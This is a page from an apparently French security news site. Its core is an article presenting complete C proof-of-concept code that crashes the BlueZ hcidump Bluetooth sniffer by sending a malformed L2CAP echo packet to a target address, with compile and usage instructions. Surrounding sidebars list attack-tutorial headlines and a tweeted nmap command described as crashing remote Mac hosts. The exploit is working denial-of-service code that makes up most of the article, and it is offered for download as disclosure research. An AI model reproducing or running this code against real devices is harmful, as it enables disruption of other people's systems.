Chercher :
Newsletter :  


Revues :
- Presse
- Presse FR
- Vidéos
- Twitter
- Secuobs





Sommaires :
- Tendances
- Failles
- Virus
- Concours
- Reportages
- Acteurs
- Outils
- Breves
- Infrastructures
- Livres
- Tutoriels
- Interviews
- Podcasts
- Communiques
- USBsploit
- Commentaires


Revue Presse:
- Tous
- Francophone
- Par mot clé
- Par site
- Le tagwall


Top bi-hebdo:
- Ensemble
- Articles
- Revue
- Videos
- Twitter
- Auteurs


Articles :
- Par mot clé
- Par auteur
- Par organisme
- Le tagwall


Videos :
- Toutes
- Par mot clé
- Par site
- Le tagwall


Twitter :
- Tous
- Par mot clé
- Par compte
- Le tagwall


Commentaires :
- Breves
- Virus
- Failles
- Outils
- Tutoriels
- Tendances
- Acteurs
- Reportages
- Infrastructures
- Interviews
- Concours
- Livres
- Communiques


RSS/XML :
- Articles
- Commentaires
- Revue
- Revue FR
- Videos
- Twitter


RSS SecuObs :
- sécurité
- exploit
- windows
- attaque
- outil
- microsoft


RSS Revue :
- security
- microsoft
- windows
- hacker
- attack
- network


RSS Videos :
- curit
- security
- biomet
- metasploit
- biometric
- cking


RSS Twitter :
- security
- linux
- botnet
- attack
- metasploit
- cisco


RSS Comments :
- Breves
- Virus
- Failles
- Outils
- Tutoriels
- Tendances
- Acteurs
- Reportages
- Infrastructures
- Interviews
- Concours
- Livres
- Communiques


RSS OPML :
- Français
- International











Revue de presse francophone :
- Un prix d ami pour les Allemands sur les logiciels NSA
- Le faux email du patron , de plus en plus apprécié
- Ashley Madison, une école de la gestion de crise
- SCADA Siemens Simatic, une famille qui collectionne les trous
- Katrina, un ouragan de flicage
- Frédéric Saulet, LogPoint L'analyse de logs, une gestion proactive du risque
- Tigo choisit Gemalto pour fournir des solutions et services M2M en Amérique latine
- Jailbreak iOS Trojan KeyRaider used as part of free apps scam
- Laurent Gautier, Président d'Ilex International freiner la transformation digitale des entreprises par crainte des menaces serait une erreur
- LANDESK rachète Xtraction Solutions
- Nouvelle enquête F-Secure la France, mauvaise élève sur la sécurité du BYOD en Europe
- G DATA a détecté 21 modèles de smartphones vendus en ligne infectés
- Akamai présente les 5 bonnes pratiques pour un Responsive Web Design performant
- France Connect Vers un système d'authentification unique pour l'administration en ligne
- Télécom Lille et Arkoon Netasq collaborent pour former les étudiants à la sécurité informatique

Dernier articles de SecuObs :
- Renaud Bidou (Deny All): "L'innovation dans le domaine des WAFs s'oriente vers plus de bon sens et d'intelligence, plus de flexibilité et plus d'ergonomie"
- Mises à jour en perspective pour le système Vigik
- Les russes ont-ils pwn le système AEGIS ?
- Le ministère de l'intérieur censure une conférence au Canada
- Saut d'air gap, audit de firmware et (in)sécurité mobile au programme de Cansecwest 2014
- GCHQ: Le JTRIG torpille Anonymous qui torpille le JTRIG (ou pas)
- #FIC2014: Entrée en territoire inconnu
- Le Sénat investit dans les monnaies virtuelles
- #LPM2013: Un nouvel espoir ?
- L'ANSSI durcit le ton

Revue de presse internationale :
- CCCAMP 2015 - Terraforming Planet Earth
- CCCAMP 2015 - Crypto Dawn - A To Do list for Cyptographic Research and Implementations
- CCCAMP 2015 - Towards Universal Access to All Knowledge Internet Archive
- CCCAMP 2015 - Gotta Block em all - Creating a usable tool against online trackers
- Burp Suite ProxyDroid FS Cert Installer Android HTTPS Proxy Apps
- The best MITM tool on Kali Linux --- MITMF
- Crack md5 sha1 hash using hashcat GUI on Windows
- Ashley Madison execs hacked competitors, wrote screenplay
- Major Android remote-access vulnerability is now being exploited Updated
- Ca Hospital clerk pleads guilty to stealing, selling patient records
- RC Lawnmower Has No Grass to Cut
- Microsoft accused of adding spy features to Windows 7, 8
- 7611 BGP ACCEPT_OWN Community Attribute
- 7625 Architecture of an IP MPLS Network with Hardened Pipes
- HPR1847 Client Side C- WTF Is Wrong With You

Annuaire des videos
- FUZZING ON LINE PART THREE
- Official Maltego tutorial 5 Writing your own transforms
- Official Maltego tutorial 6 Integrating with SQL DBs
- Official Maltego tutorial 3 Importing CSVs spreadsheets
- install zeus botnet
- Eloy Magalhaes
- Official Maltego tutorial 1 Google s websites
- Official Maltego tutorial 4 Social Networks
- Blind String SQL Injection
- backdoor linux root from r57 php shell VPS khg crew redc00de
- How To Attaque Pc With Back Track 5 In Arabique
- RSA Todd Schomburg talks about Roundup Ready lines available in 2013
- Nessus Diagnostics Troubleshooting
- Panda Security Vidcast Panda GateDefender Performa Parte 2 de 2
- MultiPyInjector Shellcode Injection

Revue Twitter
- RT @fpalumbo: Cisco consistently leading the way ? buys vCider to boost its distributed cloud vision #CiscoONE
- @mckeay Looks odd... not much to go on (prob some slideshow/vid app under Linux)
- [SuggestedReading] Using the HTML5 Fullscreen API for Phishing Attacks
- RT @BrianHonan: Our problems are not technical but cultural. OWASP top 10 has not changed over the years @joshcorman #RSAC
- RT @mikko: Wow. Apple kernels actually have a function called PE_i_can_has_debugger:
- [Blog Spam] Metasploit and PowerShell payloads
- PinkiePie Strikes Again, Compromises Google Chrome in Pwnium Contest at Hack in the Box: For the second time thi...
- @mikko @fslabs y'all wldn't happen to have lat/long data sets for other botnets, wld you? Doing some research (free/open info rls when done)
- RT @nickhacks: Want to crash a remote host running Snow Leopard? Just use: nmap -P0 -6 --script=targets-ipv6-multicast-mld #wishiwaskidding
- An inexpensive proxy service called is actually a front for #malware distribution -

Mini-Tagwall
Revue de presse : security, microsoft, windows, hacker, attack, network, vulnerability, google, exploit, malware, internet, remote, iphone

+ de mots clés pour la revue de presse

Annuaires des videos : curit, security, biomet, metasploit, biometric, cking, password, windows, botnet, defcon, tutorial, crypt, xploit

+ de mots clés pour les videos

Revue Twitter : security, linux, botnet, attack, metasploit, cisco, defcon, phish, exploit, google, inject, server, firewall

+ de mots clés pour la revue Twitter

Top bi-hebdo des articles de SecuObs
- [Sécurité et PHP - Partie 3] Les failles PHP
- Utiliser google comme un outil de pen-testing (Johnny Long - Blackhat 2005)
- Les avancées de DeDECTed pour l'écoute et l'enregistrement des appels effectués via les téléphones DECT
- Maltego un outil de cartographie d’informations
- USBDumper 2 nouvelle version nouvelles fonctions !
- EFIPW récupère automatiquement le mot de passe BIOS EFI des Macbook Pro avec processeurs Intel
- XMPPloit, un outil exploitant les vulnérabilités XMPP
- Mises à jour en perspective pour le système Vigik
- [Ettercap – Partie 2] Ettercap par l'exemple - Man In the Middle et SSL sniffing
- [IDS Snort Windows – Partie 2] Installation et configuration

Top bi-hebdo de la revue de presse
- FakeNet Windows Network Simulation Tool For Malware Analysis
- Titan Datacenter annonce la création d'un Datacentre de nouvelle génération
- Smart City le citoyen est devenu un acteur 2.0 de sa ville
- Xerox, du DRM dans les cartouches d imprimante
- Hadopi décapitée
- Fuites Ashley Madison, le syndrome Pastebin
- NetJapan signe un contrat exclusif pour la France avec Yves Lecomte Sofrad DS
- 21 septembre Paris Lundi de l'IE - Cybercriminalité Prévention et réactivité
- Remote Server Administration Tools for Windows 10 Released
- Windows 10 tools MDT 2013 Update 1, Windows ADK for Windows 10, MDOP 2015, and RSAT

Top bi-hebdo de l'annuaire des videos
- sniff password using Wireshark
- Tutoriel Supprimer Cacaoweb Botnet
- MaltegoCE Bugtraq Final t31m0
- Bugtraq 2 Blackwidow Botnets Crypters
- kali linux Collecte d adresses Email avec Metasploit
- Avoir des donuts illimit s sur le jeu Simpsons Springfield
- configuration in gns3 dual wan setup and vmware pfsense 2 0 lusca cache
- Comment Pirater Un Ordinateur Avec Ubuntu Metasploit
- Hacking Apache Tomcat 5 5 on Metasploitable ClubHACK Tutorials by Nishant Das Patnaik
- Official Maltego tutorial 4 Social Networks

Top bi-hebdo de la revue Twitter
- RT @PowerDNS_Bert: @kolkman Please don't say DNSSEC would've prevented the problem though ;-)
- RT @StopMalvertisin: MMPC | MSRT thwarts rogues with just one scan
- I think this months price for verified longest lifespan of a 0-day goes with 540 days to #SAP for DSECRG-12-036 ;(
- RT @nickhacks: Want to crash a remote host running Snow Leopard? Just use: nmap -P0 -6 --script=targets-ipv6-multicast-mld #wishiwaskidding
- UPDATE: Nessus 5.0.2!
- “@michaeldinn: @Wh1t3Rabbit as an #infosec enabled human, would you store e-voting data in the cloud?” You're going to gave to qualify
- An inexpensive proxy service called is actually a front for #malware distribution -
- Cisco Systems ends ZTE partnership
- Unnamed teenage #security researcher produces full exploit, sandbox escape included, of @Google's Chrome... again:
- RT @curqq: I am a big fan of irony. Downloading a whitepaper on security from Huawei in PDF format. Worth getting pwned for

Top des articles les plus commentés
- [Metasploit 2.x – Partie 1] Introduction et présentation
- Microsoft !Exploitable un nouvel outil gratuit pour aider les développeurs à évaluer automatiquement les risques
- Webshag, un outil d'audit de serveur web
- Les navigateurs internet, des mini-systèmes d’exploitation hors de contrôle ?
- Yellowsn0w un utilitaire de déblocage SIM pour le firmware 2.2 des Iphone 3G
- CAINE un Live[CD|USB] pour faciliter la recherche légale de preuves numériques de compromission
- Nessus 4.0 placé sous le signe de la performance, de l'unification et de la personnalisation
- [Renforcement des fonctions de sécurité du noyau Linux – Partie 1] Présentation
- [IDS Snort Windows – Partie 1] Introduction aux IDS et à SNORT
- Origami pour forger, analyser et manipuler des fichiers PDF malicieux

Failles

English version with Google Translate

[Infratech - vulnérabilité] PoC pour le DoS sur hcidump

Par Pierre Betouin, secuobs.com
Le 05/02/2006


Résumé : Code Poc (Proof of Concept) qui permet de démontrer la faisabilité de la faille de type Déni de Service (DoS) sur l'utilitaire hcidump, équivalent bluetooth d'un outil comme tcpdump. - Lire l'article



PoC code could be also downloaded on lien - compilation needs libbluetooth.


/* Bluez hcidump v1.29 DoS - PoC code */
/* Pierre Betouin - pierre.betouin@infratech.fr */
/* 01/18/06 */
/* Vulnerability found using BSS fuzzer : */
/* Download www.secuobs.com/news/05022006-bluetooth10.shtml */
/* Crashes hcidump sending bad L2CAP packet */
/* */
/* gcc -lbluetooth hcidump-crash.c -o hcidump-crash */
/* ./hcidump-crash 00:80:37:XX:XX:XX */
/* L2CAP packet sent (15) */
/* Buffer: 08 01 0C 00 41 41 41 41 41 41 41 41 41 41 41 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/l2cap.h>

#define SIZE 15
#define FAKE_SIZE 12

int main(int argc, char **argv)
{
char *buffer;
l2cap_cmd_hdr *cmd;
struct sockaddr_l2 addr;
int sock, sent, i;

if(argc < 2)
{
fprintf(stderr, "%s <btaddr>\n", argv[0]);
exit(EXIT_FAILURE);
}

if ((sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0)
{
perror("socket");
exit(EXIT_FAILURE);
}

memset(&addr, 0, sizeof(addr));
addr.l2_family = AF_BLUETOOTH;

if (bind(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0)
{
perror("bind");
exit(EXIT_FAILURE);
}

str2ba(argv[1], &addr.l2_bdaddr);

if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0)
{
perror("connect");
exit(EXIT_FAILURE);
}

if(!(buffer = (char *) malloc ((int) SIZE + 1)))
{
perror("malloc");
exit(EXIT_FAILURE);
}

memset(buffer, 'A', SIZE);

cmd = (l2cap_cmd_hdr *) buffer;
cmd->code = L2CAP_ECHO_REQ;
cmd->ident = 1;
cmd->len = FAKE_SIZE;

if( (sent=send(sock, buffer, SIZE, 0)) >= 0)
{
printf("L2CAP packet sent (%d)\n", sent);
}

printf("Buffer:\t");
for(i=0; i<sent; i++)
printf("%.2X ", (unsigned char) buffer[i]);
printf("\n");

free(buffer);
close(sock);
return EXIT_SUCCESS;
}




Ce code peut être également téléchargé sur lien - la compilation a besoin de la libbluetooth.

Autres ressources sur la sécurité Bluetooth :

[Dossier Sécurité Bluetooth - partie 1] Introduction aux technologies Bluetooth lien

[Dossier Sécurité Bluetooth - partie 2] Présentation des utilitaies Bluetooth lien

[Dossier Sécurité Bluetooth - partie 3] Les attaques génériques lien

[Dossier Sécurité Bluetooth - partie 4] Les attaques d'implémentations lien

[Dossier Sécurité Bluetooth - partie 5] Scénarios possibles & synthèse lien

[Infratech - vulnérabilité] PoC pour le DoS sur les téléphones Sony/Ericsson lien

[Infratech - vulnérabilité] Déni de Service sur les téléphones mobiles Sony/Ericsson lien

[Infratech - vulnérabilité] Déni de Service sur hcidump lien

[Infratech - release] BSS - Bluetooth Stack Smasher v0.6 lien



- Article suivant : [Infratech - vulnérabilité] Déni de Service sur hcidump
- Article précédent : [Infratech - vulnérabilité] PoC pour le DoS sur les téléphones portables Sony/Ericsson
- Article suivant dans la catégorie Failles : [Infratech - vulnérabilité] Déni de Service sur hcidump
- Article précédent dans la catégorie Failles : [Infratech - vulnérabilité] PoC pour le DoS sur les téléphones portables Sony/Ericsson


Les derniers commentaires de la catégorie Failles:
- ESRT @sambowne - Russian firm Elcomsoft unveils tool to crack BlackBerry encryption security ...
- SPIP recently fixed 2 vulnerabilities notified by Tehtri-Security 0day ...
- PuttyHijack session hijack POC ...
- ESRT @thierryzoller - Updated BEAST blog post with Proof of Concept code and the whitepaper ...
- ESRT @y0ug @Securelist - New article published: MYBIOS Is BIOS infection a reality ...

Les derniers articles de la catégorie Failles :
- Les russes ont-ils pwn le système AEGIS ?
- Backdoors BMC éventuelles via une faille IPMI sur au moins 100 000 serveurs publics
- Jekyll, une application malicieuse contournant les détections de l App Store d Apple
- La vulnérabilité cryptographique d Android, l origine du vol de 5 720 dollars en bitcoins
- Une faille critique de Firefox expose les utilisateurs de Tor Browser Bundle
- Une porte dérobée présente depuis 9 mois dans OpenX
- De mauvaises implémentations d UEFI permettent de contourner Secure Boot
- Prendre le contrôle d une voiture avec une manette de jeu, c est possible
- Une nouvelle vulnérabilité critique aurait été découverte dans Java 7
- Les problèmes de sécurité des cartes SIM peuvent être facilement corrigés




SecuToolBox :

Mini-Tagwall des articles publiés sur SecuObs :

Mini-Tagwall de l'annuaire video :

Mini-Tagwall des articles de la revue de presse :

Mini-Tagwall des Tweets de la revue Twitter :